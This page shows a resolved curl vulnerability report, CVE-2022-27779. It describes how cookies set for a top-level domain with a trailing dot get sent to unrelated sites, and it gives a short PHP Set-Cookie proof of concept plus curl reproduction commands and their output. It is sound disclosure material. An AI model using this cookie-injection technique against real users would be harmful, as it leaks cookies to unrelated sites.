Loading HuntDB...

CVE-2022-27779: cookie for trailing dot TLD

Medium
C
curl
Submitted None
Reported by haxatron1

Vulnerability Details

Technical details and impact analysis

Information Exposure Through Sent Data
## Summary: In CVE-2014-3620 curl prevents cookies from being set for Top Level Domains (TLDs). According to the advisory, curl's "cookie parser has no Public Suffix awareness", but it will "reject TLDs from being allowed". However, a cookie can still be set for a TLD + trailing dot. A trailing dot after a TLD is considered legal and curl will send the http://example.com. to http://example.com ## Steps To Reproduce: 1. Create an Apache file like the following ```` <?php header("Set-Cookie: a=b; Domain=.me."); ```` 2. Now save the cookie to curl and see the cookie is set for .me. ```` curl -c cookies.txt http://localtest.me./index.php ```` cookies.txt: ```` # Netscape HTTP Cookie File # https://curl.se/docs/http-cookies.html # This file was generated by libcurl! Edit at your own risk. .me. TRUE / FALSE 0 a b ```` 3. Requests sent via curl to the domain with TLD + '.' will now contain the particular cookie. ```` curl -b cookies.txt http://domain.me./index.php ```` ```` GET / HTTP/1.1 Host: domain.me. User-Agent: curl/7.83.0 Accept: */* Cookie: a=b ```` ## Impact Cookies can be set by arbitrary sites for TLD + ".", and if a trailing dot is used for an unrelated site, curl will send the cookie to the unrelated site.

Related CVEs

Associated Common Vulnerabilities and Exposures

cURL and libcurl before 7.38.0 allow remote attackers to bypass the Same Origin Policy and set cookies for arbitrary sites by setting a cookie for a top-level domain.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Information Exposure Through Sent Data